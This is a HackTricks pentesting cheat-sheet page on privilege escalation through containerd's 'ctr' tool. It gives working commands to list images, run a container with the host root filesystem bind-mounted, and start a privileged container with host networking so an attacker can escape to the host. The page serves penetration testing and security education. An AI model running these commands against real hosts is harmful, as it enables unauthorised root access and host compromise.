Containerd (ctr) Privilege Escalation - HackTricks

# Containerd (ctr) Privilege Escalation

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## Basic information

Go to the following link to learn what is containerd and `ctr`:

2375, 2376 Pentesting Docker

## PE 1

if you find that a host contains the `ctr` command:

    which ctr
    /usr/bin/ctr

You can list the images:

    ctr image list
    REF                                  TYPE                                                 DIGEST                                                                  SIZE      PLATFORMS   LABELS
    registry:5000/alpine:latest application/vnd.docker.distribution.manifest.v2+json sha256:0565dfc4f13e1df6a2ba35e8ad549b7cb8ce6bccbc472ba69e3fe9326f186fe2 100.1 MiB linux/amd64 -
    registry:5000/ubuntu:latest application/vnd.docker.distribution.manifest.v2+json sha256:ea80198bccd78360e4a36eb43f386134b837455dc5ad03236d97133f3ed3571a 302.8 MiB linux/amd64 -

And then run one of those images mounting the host root folder to it:

    ctr run --mount type=bind,src=/,dst=/,options=rbind -t registry:5000/ubuntu:latest ubuntu bash

## PE 2

Run a container privileged and escape from it.
You can run a privileged container as:

     ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash

Then you can use some of the techniques mentioned in the following page to escape from it abusing privileged capabilities:

Docker Security

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> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.